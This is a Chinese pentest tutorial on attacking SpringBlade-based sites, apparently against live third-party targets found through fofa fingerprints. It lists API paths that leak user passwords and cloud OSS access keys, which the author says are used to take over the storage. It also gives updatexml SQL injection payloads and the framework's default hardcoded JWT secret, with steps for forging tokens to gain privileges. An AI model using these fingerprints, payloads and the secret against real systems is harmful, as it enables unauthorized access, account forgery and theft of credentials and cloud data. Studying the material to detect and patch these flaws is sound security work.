Springblade框架介绍:
SpringBlade是一个基于Spring Boot和Spring Cloud的微服务架构框架,它是由商业级项目升级优化而来的综合型项目。
0x1 前言
最近跟一些大佬学习了blade的漏洞,所以自己总结了一下,在渗透测试过程中,遇到blade框架的时候,该有哪些渗透思路,Springblade是基于spring-boot开发的,接口泄露、sql注入他也存在。
0x2 Spring-blade特征
特征1
看到一把剑没有,这就是它的特征,可以将一个ico图片,下载下来,在fofa、鹰图上搜索,很多资产都是blade的
icon_hash="1047841028"
特征2
在页面加载过程中,会出现以下的加载页面,和最下方的https://bladex.vip
,此时我们就可以将这个地址放到fofa上去扩大资产
body="https://bladex.vip"
特征3
在路径中若发现blade
,这个字段,也基本可以确定是blade框架
/api/blade-user/info/api/blade-auth/oauth/captcha
.....
0x3 发现资产
额,本来是像找一个可以注册的站,然后通过注册进去,想不到随便翻翻。。。。
直接把账号密码,写在页面中。。。。
进来之后,抓取数据包,说明一嘴,在路径中若看到blade-system
,这个路径也代表这个站就是blade框架
0x4 漏洞案列
4.1 接口泄露
正常情况下,应该是/api/blade-system/
,但很明显开发人员将前面的路径改了,这样有些人在使用扫描器批量扫资产的时候,就会错过这样的站点
/oaApi/blade-system/menu/buttons
/oaApi/blade-system/user/user-list
泄露了大量用户的姓名,密码(也包括管理员的信息)
/oaApi/blade-resource/oss/list
泄露云服务器的accesskey、secrekey,直接去接管
这里我们使用OSS Browser工具,使用cname进行连接,否者连接不上,登录成功,但里面不存在任何的数据。
下载地址:https://github.com/aliyun/oss-browser
这里还有很多的泄露信息的接口,就不一一列举了,我将自己收集的blade
api接口,放到附件里面了,需要的师傅请到社区自取:https://bbs.zkaq.cn/t/31811.html。
/api/blade-system/user/user-list/api/blade-system/tenant/select
/api/blade-develop/datasource/list
/api/blade-resource/oss/list
/api/blade-develop/datasource/list
/api/blade-system/code/remove
/api/blade-resource/oss/remove
/api/blade-system/dict-biz/remove
/authority/role/add
/system/dict/add
.......
4.2 SQL注入
/oaApi/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
e这个不存在这个漏洞
试了其他注入点,也不存在注入
/oaApi/blade-user/export-user?Blade-Auth=[jwt码]&account=&realName=&1-updatexml(1,concat(0x5c,database(),0x5c),1)=1
4.3 jwt硬编码
bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject
漏洞原因:开发者在使用jwt进行身份认证时,并没有对默认的jwt密钥进行修改,导致黑客可以利用默认的jwt密钥去伪造jwt值,可以欺骗服务器获取用户权限等
教程:将上面的密钥放到箭头指示的位置,然后修改payload里的字段,因为服务器都是通过这个payload中的字段进行鉴权的,所以通过修改payload中的字段,来达到伪造jwt欺骗服务器
将修改后的jwt字段,放回Blade-Auth中,放包,看是否回显,若回显,则证明存在jwt硬编码。
不成功则会出现未授权
0x5 总结
结束,以上是我了解的blade框架的漏洞,暂时就知道这些漏洞,若后续有新发现的漏洞也会补上,谢谢师傅们观看